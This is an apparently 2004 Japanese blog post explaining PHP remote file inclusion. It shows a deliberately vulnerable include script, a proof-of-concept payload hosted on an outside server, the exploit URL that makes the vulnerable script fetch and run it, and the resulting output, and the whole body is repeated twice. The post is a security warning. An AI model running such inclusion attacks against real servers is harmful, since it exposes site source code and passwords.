12/29/2004
最近phpの脆弱性を利用したウイルスが流行ってるといいます。
それはincludeやrequireを利用しているのですが、かなり簡単に出来ます。
例えばこんなファイルがあったとします。
--------kiken.php--------
<?php
$file = $_GET{'file'};
include $file;
?>
-------------------------
includeで外部から来た引数のURLを開いています。
もうこれでアウトです。
こんなファイルを自分のサーバーに設置します。
これは自分のファイルを読み込んで表示するという簡単なコードです。
---------scr.txt----------
<?php
$php = $_SERVER['SCRIPT_FILENAME'];
$fp = fopen($php,"r");
$str = fread($fp,filesize($php));
fclose($fp);
echo "Hacked<br /><br />";
echo nl2br(htmlspecialchars($str));
?>
-------------------------
そして先ほどのphpファイルにこのファイルのURLを引数として渡します。
http://hoge/kiken.php?file=http://null.ifdef.jp/scr.txt
これで以下の様に表示されます。
Hacked
<?php
$file = $_GET{'file'};
include $file;
?>
これを悪用した場合、php内に書かれたパスワードや、その他のファイルなど全て覗き見されてしまいます。phpでできることが全て出来るといっても差し支えありません。
インタープリタ言語によくある脆弱性ですね。まあ暇な人は試してみてください。
というわけで、includeとrequireは気をつけて使いましょう。
それはincludeやrequireを利用しているのですが、かなり簡単に出来ます。
例えばこんなファイルがあったとします。
--------kiken.php--------
<?php
$file = $_GET{'file'};
include $file;
?>
-------------------------
includeで外部から来た引数のURLを開いています。
もうこれでアウトです。
こんなファイルを自分のサーバーに設置します。
これは自分のファイルを読み込んで表示するという簡単なコードです。
---------scr.txt----------
<?php
$php = $_SERVER['SCRIPT_FILENAME'];
$fp = fopen($php,"r");
$str = fread($fp,filesize($php));
fclose($fp);
echo "Hacked<br /><br />";
echo nl2br(htmlspecialchars($str));
?>
-------------------------
そして先ほどのphpファイルにこのファイルのURLを引数として渡します。
http://hoge/kiken.php?file=http://null.ifdef.jp/scr.txt
これで以下の様に表示されます。
Hacked
<?php
$file = $_GET{'file'};
include $file;
?>
これを悪用した場合、php内に書かれたパスワードや、その他のファイルなど全て覗き見されてしまいます。phpでできることが全て出来るといっても差し支えありません。
インタープリタ言語によくある脆弱性ですね。まあ暇な人は試してみてください。
というわけで、includeとrequireは気をつけて使いましょう。
11:36 |




